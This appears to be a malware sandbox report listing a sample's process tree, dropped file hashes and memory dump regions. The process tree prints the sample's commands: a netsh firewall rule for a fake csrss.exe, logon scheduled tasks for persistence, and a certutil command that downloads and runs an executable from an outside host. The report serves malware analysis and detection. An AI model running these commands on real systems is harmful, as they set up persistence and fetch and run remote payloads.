- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exenetsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes4⤵
- Modifies Windows Firewall
- Modifies data under HKEY_USERS
-
C:\Windows\rss\csrss.exeC:\Windows\rss\csrss.exe ""3⤵
- Executes dropped EXE
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\schtasks.exeschtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://10gamestop.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F4⤵
- Creates scheduled task(s)
-
C:\Windows\system32\makecab.exe"C:\Windows\system32\makecab.exe" C:\Windows\Logs\CBS\CbsPersist_20230129172225.log C:\Windows\Logs\CBS\CbsPersist_20230129172225.cab1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Windows\rss\csrss.exeFilesize
4.0MB
MD5e006b2b08833a38314bad962b8e549eb
SHA1289e9b527460258ce38402604b82ab1784b93229
SHA256a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409
SHA5122a4f4e47c909abfd6a59a38536b357d7ff84177094897ea2819fd87dfc07b239061395ce3fd5ffbbf14a2d709b34691f975adf598b7e89ee6b607289d0b87e03
-
\Windows\rss\csrss.exeFilesize
4.0MB
MD5e006b2b08833a38314bad962b8e549eb
SHA1289e9b527460258ce38402604b82ab1784b93229
SHA256a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409
SHA5122a4f4e47c909abfd6a59a38536b357d7ff84177094897ea2819fd87dfc07b239061395ce3fd5ffbbf14a2d709b34691f975adf598b7e89ee6b607289d0b87e03
-
\Windows\rss\csrss.exeFilesize
4.0MB
MD5e006b2b08833a38314bad962b8e549eb
SHA1289e9b527460258ce38402604b82ab1784b93229
SHA256a11462c9d1e545b9a3172327282f1a30b801236ce4fef2b8a4149845ef1e4409
SHA5122a4f4e47c909abfd6a59a38536b357d7ff84177094897ea2819fd87dfc07b239061395ce3fd5ffbbf14a2d709b34691f975adf598b7e89ee6b607289d0b87e03
-
memory/596-61-0x0000000004870000-0x0000000004C17000-memory.dmpFilesize
3.7MB
-
memory/596-70-0x0000000000400000-0x0000000002FDF000-memory.dmpFilesize
43.9MB
-
memory/596-62-0x0000000000400000-0x0000000002FDF000-memory.dmpFilesize
43.9MB
-
memory/596-60-0x0000000004870000-0x0000000004C17000-memory.dmpFilesize
3.7MB
-
memory/884-64-0x0000000000000000-mapping.dmp
-
memory/884-65-0x000007FEFC0B1000-0x000007FEFC0B3000-memory.dmpFilesize
8KB
-
memory/1068-63-0x0000000000000000-mapping.dmp
-
memory/1856-71-0x00000000048B0000-0x0000000004C57000-memory.dmpFilesize
3.7MB
-
memory/1856-68-0x0000000000000000-mapping.dmp
-
memory/1856-72-0x00000000048B0000-0x0000000004C57000-memory.dmpFilesize
3.7MB
-
memory/1856-73-0x0000000004C60000-0x0000000005356000-memory.dmpFilesize
7.0MB
-
memory/1856-74-0x0000000000400000-0x0000000002FDF000-memory.dmpFilesize
43.9MB
-
memory/1856-75-0x0000000000400000-0x0000000002FDF000-memory.dmpFilesize
43.9MB
-
memory/1924-54-0x0000000004840000-0x0000000004BE7000-memory.dmpFilesize
3.7MB
-
memory/1924-58-0x0000000000400000-0x0000000002FDF000-memory.dmpFilesize
43.9MB
-
memory/1924-57-0x0000000000400000-0x0000000002FDF000-memory.dmpFilesize
43.9MB
-
memory/1924-56-0x0000000004BF0000-0x00000000052E6000-memory.dmpFilesize
7.0MB
-
memory/1924-55-0x0000000004840000-0x0000000004BE7000-memory.dmpFilesize
3.7MB
-
memory/1924-59-0x0000000000400000-0x0000000002FDF000-memory.dmpFilesize
43.9MB